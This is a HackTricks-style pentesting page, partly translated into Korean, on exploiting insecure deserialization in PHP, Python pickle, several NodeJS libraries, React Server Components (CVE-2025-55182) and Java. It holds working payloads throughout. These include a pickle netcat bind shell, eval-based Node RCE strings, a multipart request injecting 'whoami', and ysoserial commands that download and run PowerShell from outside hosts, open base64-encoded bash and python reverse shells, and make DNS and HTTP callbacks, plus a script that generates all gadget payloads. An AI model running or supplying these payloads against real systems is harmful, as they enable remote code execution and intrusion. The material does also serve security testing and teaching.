Deserialization
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
Serialization은 객체를 저장하거나 통신 과정에서 전송하기 위해 객체를 보존 가능한 형식으로 변환하는 방법이다. 이 기술은 객체의 구조와 상태를 유지하면서 나중에 객체를 재생성할 수 있도록 보장하기 위해 일반적으로 사용된다.
Deserialization은 반대로 특정 형식으로 구조화된 데이터를 받아 객체로 재구성하는 과정이다.
Deserialization은 객체 재구성 과정에서 공격자가 직렬화된 데이터를 조작해 악성 코드를 실행하거나 애플리케이션에 예기치 않은 동작을 일으킬 수 있기 때문에 위험할 수 있다.
PHP
PHP에서는 직렬화 및 역직렬화 과정에서 특정 매직 메서드가 사용된다:
__sleep: 객체가 직렬화될 때 호출된다. 이 메서드는 직렬화해야 할 객체의 모든 속성 이름을 담은 배열을 반환해야 한다. 일반적으로 대기 중인 데이터를 커밋하거나 유사한 정리 작업을 수행하는 데 사용된다.__wakeup: 객체가 역직렬화될 때 호출된다. 직렬화 중 끊어진 데이터베이스 연결을 복원하거나 기타 재초기화 작업을 수행하는 데 사용된다.__unserialize: 객체가 역직렬화될 때(존재하는 경우)__wakeup대신 호출된다.__wakeup보다 역직렬화 과정을 더 세밀하게 제어할 수 있다.__destruct: 객체가 파괴되거나 스크립트가 종료될 때 호출된다. 일반적으로 파일 핸들 또는 데이터베이스 연결 닫기 같은 정리 작업에 사용된다.__toString: 객체를 문자열처럼 취급할 수 있게 해준다. 내부에서 호출되는 함수들에 따라 파일을 읽는 등 작업에 사용될 수 있으며, 객체의 텍스트 표현을 제공한다.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
결과를 보면 객체가 역직렬화될 때 **__wakeup**와 __destruct 함수가 호출되는 것을 확인할 수 있습니다. 여러 튜토리얼에서는 일부 속성을 출력하려고 할 때 __toString 함수가 호출된다고 나오지만, 현재는 더 이상 그렇지 않은 것 같습니다.
Warning
클래스에 구현되어 있으면 메서드 **
__unserialize(array $data)**가__wakeup()대신 호출됩니다. 이 메서드는 직렬화된 데이터를 배열로 제공하여 객체를 역직렬화할 수 있게 해줍니다. 이 메서드를 사용하여 속성을 역직렬화하고 역직렬화 시 필요한 작업을 수행할 수 있습니다.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
설명이 포함된 PHP 예제는 여기에서 확인할 수 있습니다: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, 여기 https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf 또는 여기 https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP 역직렬화 + Autoload 클래스
PHP autoload 기능을 악용해 임의의 php 파일 등을 로드할 수 있습니다:
PHP - Deserialization + Autoload Classes
Laravel Livewire Hydration Chains
Livewire 3 synthesizers는 (APP_KEY 유무와 상관없이) 임의의 gadget 그래프를 인스턴스화하도록 강제하여 Laravel Queueable/SerializableClosure sinks에 도달시킬 수 있습니다:
Livewire Hydration Synthesizer Abuse
참조된 값 직렬화
어떤 이유로 값을 다른 직렬화된 값에 대한 참조로 직렬화하려는 경우 다음과 같이 할 수 있습니다:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHP Object Injection 방지 (allowed_classes 사용)
[!INFO]
unserialize()의 두 번째 인자($options배열)에 대한 지원은 PHP 7.0에서 추가되었습니다. 이전 버전에서는 함수가 직렬화된 문자열만 받기 때문에 어떤 클래스가 인스턴스화될 수 있는지 제한하는 것이 불가능합니다.
unserialize()는 달리 지시하지 않으면 직렬화 스트림 내에서 발견한 모든 클래스를 인스턴스화합니다. PHP 7부터 이 동작은 allowed_classes 옵션으로 제한할 수 있습니다:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
만약 allowed_classes가 생략되었거나 또는 코드가 PHP < 7.0에서 실행된다면, 이 호출은 위험해집니다. 공격자가 __wakeup() 또는 __destruct() 같은 매직 메서드를 악용하는 페이로드를 만들어 Remote Code Execution (RCE)을 달성할 수 있기 때문입니다.
실제 사례: Everest Forms (WordPress) CVE-2025-52709
The WordPress plugin Everest Forms ≤ 3.2.2는 방어 목적의 헬퍼 래퍼를 사용했지만 레거시 PHP 버전을 고려하지 않았습니다:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
여전히 PHP ≤ 7.0을 실행하던 서버에서는 이 두 번째 분기에서 관리자가 악성 form submission을 열었을 때 고전적인 PHP Object Injection으로 이어졌습니다. 최소한의 exploit payload는 다음과 같이 보일 수 있습니다:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
As soon as the admin viewed the entry, the object was instantiated and SomeClass::__destruct() got executed, resulting in arbitrary code execution.
핵심 요약
- Always pass
['allowed_classes' => false](or a strict white-list) when callingunserialize(). - 방어용 래퍼를 점검하세요 — 종종 레거시 PHP 분기를 간과하곤 합니다.
- 단순히 PHP ≥ 7.x로 업그레이드하는 것만으로는 충분하지 않습니다: 해당 옵션은 여전히 명시적으로 제공되어야 합니다.
PHPGGC (ysoserial for PHP)
PHPGGC은 PHP deserializations를 악용하기 위한 payload를 생성하는 데 도움을 줄 수 있습니다. 몇몇 경우에는 애플리케이션의 소스 코드에서 deserialization을 악용할 방법을 찾을 수 없을 것입니다, 하지만 외부 PHP extensions의 코드를 악용할 수 있을지도 모릅니다. 가능하다면 서버의 phpinfo()를 확인하고 인터넷에서 검색(심지어 PHPGGC의 gadgets에서도)하여 악용 가능한 gadget을 찾아보세요.
phar:// metadata deserialization
If you have found a LFI that is just reading the file and not executing the php code inside of it, for example using functions like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). You can try to abuse a deserialization occurring when reading a file using the phar protocol.
For more information read the following post:
Python
Pickle
When the object gets unpickle, the function ___reduce___ will be executed.
악용될 경우 서버가 오류를 반환할 수 있습니다.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you’re running python3.
바이패스 기법을 확인하기 전에, python3를 사용 중이라면 python2와 호환되는 객체를 생성하기 위해 print(base64.b64encode(pickle.dumps(P(),2)))를 사용해보세요.
For more information about escaping from pickle jails check:
pickle jails에서 탈출하는 방법에 대한 자세한 내용은 다음을 확인하세요:
Yaml & jsonpickle
The following page present the technique to abuse an unsafe deserialization in yamls python libraries and finishes with a tool that can be used to generate RCE deserialization payload for Pickle, PyYAML, jsonpickle and ruamel.yaml:
다음 페이지는 yamls python 라이브러리에서의 unsafe deserialization을 악용하는 기법을 설명하며, Pickle, PyYAML, jsonpickle and ruamel.yaml에 대한 RCE deserialization 페이로드를 생성할 수 있는 도구로 마무리합니다:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python’s Prototype Pollution)
NodeJS
JS Magic Functions
JS doesn’t have “magic” functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON.
If abusing a deserialization you can compromise these functions to execute other code (potentially abusing prototype pollutions) you could execute arbitrary code when they are called.
JS는 PHP나 Python처럼 객체를 생성하는 것만으로 실행되는 “magic” 함수들이 존재하지 않습니다. 하지만 toString, valueOf, toJSON처럼 직접 호출하지 않아도 자주 사용되는 함수들이 있습니다.
deserialization을 악용할 경우 이러한 함수들을 손상시켜 다른 코드를 실행하도록 만들 수 있으며 (potentially abusing prototype pollutions) 해당 함수들이 호출될 때 임의의 코드를 실행할 수 있습니다.
Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Follow this link for more info.
함수를 직접 호출하지 않고 호출하는 또 다른 “magic” 방법은 async 함수가 반환하는 객체를 손상시키는 것입니다 (promise). 반환 객체를 다른 promise로 변환하고 그 객체에 함수 타입의 **“then”**이라는 프로퍼티를 추가하면, 다른 promise에 의해 반환되었다는 이유만으로 해당 프로퍼티가 실행됩니다. 자세한 내용은 this link 참고하세요.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
이 기술을 배우고 싶다면 다음 튜토리얼을 확인하세요:
NodeJS - proto & prototype Pollution
node-serialize
이 라이브러리는 함수를 직렬화할 수 있습니다. 예:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
다음은 직렬화된 객체의 모습입니다:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
예제에서 함수가 직렬화될 때 _$$ND_FUNC$$_ 플래그가 직렬화된 객체에 추가되는 것을 볼 수 있습니다.
Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.
.png)
.png)
마지막 코드 블록에서 볼 수 있듯이, 플래그가 발견되면 eval이 함수의 역직렬화에 사용되므로, 기본적으로 사용자 입력이 eval 함수 내부에서 사용되고 있다는 뜻입니다.
하지만, 단순히 함수를 직렬화하는 것만으로는 그것을 실행하지 않습니다. 예제에서 코드의 어떤 부분이 y.rce를 호출해야 하기 때문이며, 이는 매우 가능성이 낮습니다.
어쨌든, 객체가 역직렬화될 때 직렬화된 함수를 자동으로 실행하도록 직렬화된 객체를 수정하여 괄호를 추가할 수 있습니다.
다음 코드 블록에서 마지막 괄호를 주목하고 unserialize 함수가 코드를 자동으로 실행하는 방식을 확인하세요:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
앞서 언급했듯이, 이 라이브러리는 _$$ND_FUNC$$_ 뒤의 코드를 가져와 eval을 사용해 실행합니다. 따라서 자동으로 코드 실행시키려면 함수 생성 부분과 마지막 괄호를 삭제하고 다음 예제처럼 JS 원라이너를 바로 실행하면 됩니다:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
You can find here 추가 정보를 확인할 수 있습니다.
funcster
특히 funcster의 주목할 만한 점은 표준 내장 객체들에 접근할 수 없다는 것입니다; 이들은 접근 가능한 범위 밖에 있습니다. 이 제한 때문에 내장 객체의 메서드를 호출하려는 코드는 실행되지 않으며, console.log()나 require(something) 같은 명령을 사용할 때 “ReferenceError: console is not defined“와 같은 예외가 발생합니다.
이 제한에도 불구하고, 특정 방법을 통해 모든 표준 내장 객체를 포함한 전역 컨텍스트에 대한 완전한 접근을 복원할 수 있습니다. 전역 컨텍스트를 직접 활용하면 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용해 접근을 다시 설정할 수 있습니다:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
자세한 내용은 more information read this source.
serialize-javascript
The serialize-javascript package는 오직 serialization 용도로만 설계되어 있으며, 내장된 deserialization 기능이 없습니다. deserialization을 위한 자체적인 방법을 구현하는 것은 사용자의 책임입니다. 공식 예제에서는 serialized 데이터를 deserializing하기 위해 직접 eval을 사용할 것을 권장합니다:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
만약 이 함수가 objects를 deserialize하는 데 사용된다면 쉽게 악용할 수 있습니다:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
자세한 정보는 이 출처를 읽어보세요.
Cryo library
In the following pages you can find information about how to abuse this library to execute arbitrary commands:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
React Server Components (RSC) rely on react-server-dom-webpack (RSDW) to decode server action submissions that are sent as multipart/form-data. Each action submission contains:
$ACTION_REF_<n>parts that reference the action being invoked.$ACTION_<n>:<m>parts whose body is JSON such as{"id":"module-path#export","bound":[arg0,arg1,...]}.
In version 19.2.0 the decodeAction(formData, serverManifest) helper blindly trusts both the id string (selecting which module export to call) and the bound array (the arguments). If an attacker can reach the endpoint that forwards requests to decodeAction, they can invoke any exported server action with attacker-controlled parameters even without a React front-end (CVE-2025-55182). The end-to-end recipe is:
- 액션 식별자 알아내기. 번들 출력, 오류 추적 또는 leaked manifests는 일반적으로
app/server-actions#generateReport같은 문자열을 드러냅니다. - multipart 페이로드 재구성.
$ACTION_REF_0파트와 식별자와 임의의 인수를 담은$ACTION_0:0JSON 본문을 만듭니다. decodeAction이 이를 디스패치하도록 허용. 헬퍼는serverManifest에서 모듈을 해결하고, 해당 export를 import한 뒤 서버가 즉시 실행할 수 있는 callable을 반환합니다.
Example payload hitting /formaction:
POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--
또는 curl로:
curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
bound 배열은 server-action 매개변수를 직접 채웁니다. 취약한 lab에서 gadget은 다음과 같이 보입니다:
const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);
async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}
format = "pdf & whoami"를 제공하면 /bin/sh -c가 정당한 리포트 생성기를 실행한 다음 whoami를 실행하며, 두 출력이 모두 JSON 액션 응답 안에 전달됩니다. 파일시스템 프리미티브, 데이터베이스 드라이버 또는 기타 인터프리터를 래핑하는 모든 서버 액션은 공격자가 bound 데이터를 제어하게 되면 동일하게 악용될 수 있습니다.
공격자는 실제 React 클라이언트를 전혀 필요로 하지 않습니다—$ACTION_* 멀티파트 형태를 생성하는 어떤 HTTP 도구라도 서버 액션을 직접 호출하고 결과 JSON 출력을 RCE primitive로 연결할 수 있습니다.
Java - HTTP
In Java, deserialization callbacks are executed during the process of deserialization. 이 실행은 이러한 callbacks를 트리거하도록 악성 페이로드를 제작한 공격자에 의해 악용될 수 있으며, 그 결과 유해한 동작이 실행될 수 있습니다.
지문
화이트박스
코드베이스에서 잠재적 serialization 취약점을 식별하려면 다음을 검색하세요:
Serializable인터페이스를 구현한 클래스.java.io.ObjectInputStream,readObject,readUnshare함수의 사용.
특히 주의할 것:
XMLDecoder가 외부 사용자가 정의한 파라미터와 함께 사용되는 경우.XStream의fromXML메서드, 특히 XStream 버전이 1.46 이하인 경우에는 serialization 문제에 취약할 수 있음.ObjectInputStream이readObject메서드와 함께 사용되는 경우.readObject,readObjectNodData,readResolve,readExternal같은 메서드의 구현.ObjectInputStream.readUnshared.- 일반적인
Serializable사용.
블랙박스
블랙박스 테스트에서는 java serialized objects를 나타내는 특정 signatures 또는 “Magic Bytes“를 찾으세요 (ObjectInputStream에서 유래):
- 16진수 패턴:
AC ED 00 05. - Base64 패턴:
rO0. - HTTP 응답 헤더에서
Content-type이application/x-java-serialized-object로 설정된 경우. - 이전 압축을 나타내는 16진수 패턴:
1F 8B 08 00. - 이전 압축을 나타내는 Base64 패턴:
H4sIA. .faces확장자를 가진 웹 파일과faces.ViewState파라미터. 웹 애플리케이션에서 이러한 패턴이 발견되면 post about Java JSF ViewState Deserialization에 상세히 나와 있는 대로 검사를 수행해야 합니다.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
취약한지 확인하기
만약 Java Deserialized exploit가 어떻게 작동하는지 배우고 싶다면 Basic Java Deserialization, Java DNS Deserialization, 및 CommonsCollection1 Payload를 살펴보세요.
SignedObject-gated deserialization 및 pre-auth 도달성
현대 코드베이스는 종종 역직렬화 과정을 java.security.SignedObject로 감싸고, 내부 객체를 역직렬화하는 getObject()를 호출하기 전에 서명을 검증합니다. 이는 임의의 최상위 gadget classes를 차단하지만, 공격자가 유효한 서명(예: private-key compromise 또는 signing oracle)을 획득할 수 있다면 여전히 악용될 수 있습니다. 또한 오류 처리 흐름에서 인증되지 않은 사용자에게 세션 바운드 토큰을 발급해 전에는 보호되던 sinks가 pre-auth 상태에서 노출될 수 있습니다.
For a concrete case study with requests, IoCs, and hardening guidance, see:
Java Signedobject Gated Deserialization
화이트박스 테스트
설치된 애플리케이션 중 알려진 취약점을 가진 것이 있는지 확인할 수 있습니다.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
You could try to check all the libraries known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
You could also use gadgetinspector to search for possible gadget chains that can be exploited.
When running gadgetinspector (after building it) don’t care about the tons of warnings/errors that it’s going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won’t create an exploit and it may indicate false positives.
Black Box Test
Burp 확장인 gadgetprobe를 사용하면 어떤 라이브러리가 사용 가능한지(심지어 버전까지) 식별할 수 있습니다. 이 정보를 통해 어떤 payload를 선택할지 결정하기가 더 쉬워질 수 있습니다.
GadgetProbe에 대해 더 알고 싶다면 이 문서를 읽으세요.
GadgetProbe는 ObjectInputStream deserializations에 초점을 맞추고 있습니다.
Burp 확장인 Java Deserialization Scanner를 사용하면 ysoserial로 exploit 가능한 취약한 라이브러리를 식별하고 exploit할 수 있습니다.
Java Deserialization Scanner에 대해 더 알고 싶다면 이 문서를 읽으세요.
Java Deserialization Scanner는 ObjectInputStream deserializations에 초점을 맞추고 있습니다.
또한 Freddy를 사용해 Burp에서 deserializations 취약점을 탐지할 수 있습니다. 이 플러그인은 ObjectInputStream 관련 취약점뿐만 아니라 Json 및 Yml deserialization 라이브러리에서 발생하는 취약점도 탐지합니다. 활성 모드에서는 sleep 또는 DNS payload를 사용해 이를 확인하려 시도합니다.
Freddy에 대한 자세한 내용은 여기에서 확인하세요.
Serialization Test
서버가 어떤 취약한 라이브러리를 사용하는지 확인하는 것만 전부가 아닙니다. 때로는 직렬화된 객체 내의 데이터를 변경하여 일부 검증을 우회할 수 있습니다(예: 웹앱 내에서 admin privileges를 얻는 경우).
웹 애플리케이션으로 전송되는 java serialized object를 찾으면, **SerializationDumper**를 사용해 전송되는 serialization object를 사람이 읽기 쉬운 형식으로 출력할 수 있습니다. 어떤 데이터를 전송하는지 알면 이를 수정해 일부 검증을 우회하기가 더 쉬워집니다.
Exploit
ysoserial
Java deserializations를 exploit하기 위한 주요 도구는 ysoserial (download here)입니다. 복잡한 명령(예: 파이프 포함)을 사용하려면 ysoseral-modified를 고려할 수도 있습니다.
이 도구는 ObjectInputStream exploit에 중점을 둔다는 점을 유의하세요.
injection이 가능한지 테스트하기 위해 RCE payload 이전에 “URLDNS” payload를 먼저 사용해보는 것을 권합니다. 어쨌든 “URLDNS” payload가 작동하지 않지만 다른 RCE payload는 작동할 수 있다는 점도 기억하세요.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
**java.lang.Runtime.exec()**용 payload를 만들 때는 실행 결과를 리다이렉트하기 위해 “>“나 “|” 같은 특수 문자를 사용할 수 없습니다, “$()“로 명령을 실행할 수도 없고 심지어 공백으로 구분된 인수를 명령에 pass arguments 하는 것도 불가능합니다(예: echo -n "hello world"는 가능하지만 python2 -c 'print "Hello world"'는 불가능합니다). payload를 올바르게 인코딩하려면 use this webpage를 사용할 수 있습니다.
다음 스크립트를 사용하여 Windows and Linux용 all the possible code execution payloads를 생성한 다음 취약한 웹 페이지에서 테스트해 보세요:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
다음 리포지토리 https://github.com/pwntester/SerialKillerBypassGadgetCollection를 사용하여 ysoserial과 함께 더 많은 exploits를 만들 수 있습니다. 이 도구가 소개된 발표의 슬라이드에서 더 많은 정보를 확인할 수 있습니다: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec 는 Java의 다양한 Json 및 Yml 직렬화 라이브러리를 exploit하기 위한 payloads를 생성하는 데 사용할 수 있습니다.
프로젝트를 컴파일하기 위해 pom.xml에 다음 의존성을 추가해야 했습니다:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
maven 설치, 그리고 프로젝트를 compile 하세요:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
이 Java JSON 라이브러리에 대해 더 알아보기: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- ysoserial payloads를 테스트하고 싶다면 이 webapp을 실행할 수 있습니다: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Why
